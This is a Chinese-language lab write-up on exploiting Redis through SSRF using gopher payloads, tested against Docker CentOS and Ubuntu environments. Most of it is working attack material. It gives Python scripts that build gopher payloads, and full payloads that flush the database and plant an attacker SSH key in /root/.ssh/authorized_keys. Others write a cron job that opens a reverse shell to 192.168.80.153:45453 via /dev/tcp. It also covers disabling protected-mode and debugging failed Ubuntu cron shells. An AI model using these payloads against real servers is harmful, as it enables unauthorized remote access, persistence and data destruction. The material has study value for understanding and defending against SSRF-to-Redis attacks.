REDIS
redis作为一种数据库 其实是会真的将数据写入到内存中的
我们利用ssrf请求 请求redis 实现服务器对自己的公钥或任务计划写入 实现无密码登录
或反弹bash
redis监听所有地址时 才能被外部访问 否则只能127.0.0.1 本地访问
而且开启保护模式后会导致目标端口只能本地访问
这时就需要结合 ssrf
redis保存数据以键值对形式
环境为docker搭建的centos环境
可见 写入的内容 目录也是能修改的
文件名也可以修改 因此 我们可以构造 一个公钥写入到目标服务器中 达到无密码登录目标主机的目的
可见目标成功写入
SSRF
通过服务器进行请求伪造 利用gopher 协议或 dict对 redis进行请求实现 文件的写入
公钥的写入
gopher生成脚本
def ssh_key_write(ssh_dir="/root/.ssh"):
res = ""
pubkey_path = "/home/{}/.ssh/id_rsa.pub".format(os.getlogin());
if(not os.path.exists(pubkey_path)):
print("Please Run : ssh-keygen -t rsa")
exit(1)
pubkey = "\n\n" + open(pubkey_path,"r").read()
res += generate_resp('flushall')
res += generate_resp("set 1 {DUMMY}".format(DUMMY="A" * len(pubkey)))
res += generate_resp('config set dir {}'.format(ssh_dir))
res += generate_resp('config set dbfilename authorized_keys')
res += generate_resp('save')
res += generate_resp('quit')
res = res.replace("A" * len(pubkey),pubkey)
res = res.replace("\n","\r\n")
print(generate_gopher(res))
生成的payload:
gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$565
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCu/eN10PB4xGAuEASpWHW/8bb13ZcqOPAf0G02bMlx629t1BToHekqV4uTKAEp6LgzeaMjI5BIdfv6b0noI/t6GQ2cwcOEh70Shvy1QVfIraYN73KwWZkU55tHMN97tT+RW4wH3iPsocWYh828EC0Ps+04ie28y9sMSMErhAZS0FVsG8bVFby6rVU7dfV/u4EVBGp+obnLuRU+evOIGr8avo/iCMh6U+YeVSBwtvri8HCgJOBPoxJdWQXBDVGfBDvzgnOp2+ay5QZBZ8rht171zLoC5Vkcf89EKCR0MnhwXo3dJWgbCNOwKfIY0W3WnNklz4iez8Tu0GAH9b/0y24YdsAmS+HaUYv3czX5Ss74aa+qVLdOgxBcFCVZ2ljlhynsB/0DNKnEtlCbOlLYnx6N29i6yPbrqP6xcMQOXPPHqq+sXv4ltqES28NeIw2FsfJAzJP+MDuFM6aVcjga3m9MgP9P0YEafm4GGHno/OHPu8okS26EWbpNvDFmmCCjgMk= kali@kali
*4
$6
config
$3
set
$3
dir
$10
/root/.ssh
*4
$6
config
$3
set
$10
dbfilename
$15
authorized_keys
*1
$4
save
*1
$4
quit
我们这样进行请求
当然要先进行编码
可以看到 公钥成功被上传到了服务器中
ssh请求:
环境中Dockerfile存在一些问题 我做了一些修改 否则docker镜像中22端口起不来
运行/usr/sbin/sshd
启动sshd
接下来就可以无秘钥直接利用公钥登录到目标服务器了
ubuntu 与centos基本一致 但是由于redis的保护配置
导致这些属性不能被修改
需要将 protected-mode 关闭
CONFIG SET protected-mode no
修改为gopher格式:
*4
$6
config
$3
set
$14
protected-mode
$2
no
试了一下 还是不行
查看docker环境后发现该redis版本为7.2.5 安全性提高
在新版本的redis中只能通过配置项修改dir和dbfilename
后面我将dokcerfile做了修改 拉取了5.0.5的redis
同样的操作:
成功拿到shell
SSRF计划任务实现shell反弹
centos:
生成脚本:
def cron_write(ip, port=8080, os_type="centos"):
if os_type == "centos":
crontab_path = "/var/spool/cron/"
else:
crontab_path = "/var/spool/cron/crontabs"
cron_command = "\n\n*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/{ip}/{port} 0>&1'\n\n".format(ip=ip, port=port)
res = ""
res += generate_resp('flushall')
res += generate_resp("set 1 {DUMMY}".format(DUMMY="A" * len(cron_command)))
res += generate_resp('config set dir {}'.format(crontab_path))
res += generate_resp('config set dbfilename root')
res += generate_resp('save')
res += generate_resp('quit')
res = res.replace("\n","\r\n")
res = res.replace("A" * len(cron_command), cron_command)
print(generate_gopher(res))
生成payload:
gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$74
*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/192.168.80.153/45453 0>&1'
*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
*1
$4
quit
其实就是利用gopher 将*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/192.168.80.153/45453 0>&1'
写入到定时任务中
这是写入的内容
kali中利用nc监听端口 等待连接
成功反射
ubuntu
ubuntu的shell反射 我们先找一个环境试一下:
/bin/bash -i >& /dev/tcp/192.168.80.153/45453 0>&1
可以成功
接下来利用ssrf写入到crontab中 等了很久都没有弹shell
首先 ubuntu的cron目录其实在
/var/spool/cron/crontabs
下
所以我们要对payload做一些修改
发现还是没有回弹
那么我们需要进行一下测试
为什么ubuntu的crontab没有回弹shell
这里用kali进行演示
写入了任务计划
但迟迟没有反弹
将错误信息写到tmp目录下进行查看
┌──(root㉿kali)-[/tmp]
└─# cat error.txt
bash: cannot set terminal process group (457594): Inappropriate ioctl for device
bash: no job control in this shell
bash: bash -i >& /dev/tcp/192.168.80.153/45453 0>&1: No such file or directory
发现 主要问题是no such file 这是由于cron默认运行环境为/bin/sh
我们发现 sh其实是dash的软连接 而dash是非交互式的shell 效率优于bash
了解后 我们需要知道 bsah -i 回弹的是交互式的shell 要求比较高 而bash -c 回弹的是非交互式的shell 要求低 在ubuntu中更推荐使用bash -c 来实现命令的交互
我们测试一下
成功连接
于是我们再次进行ssrf的尝试
生成一个这样的脚本
还是不行 由于ubuntu的crontab 具有644权限 会无法启用 必须要用600权限
还是非常难成功的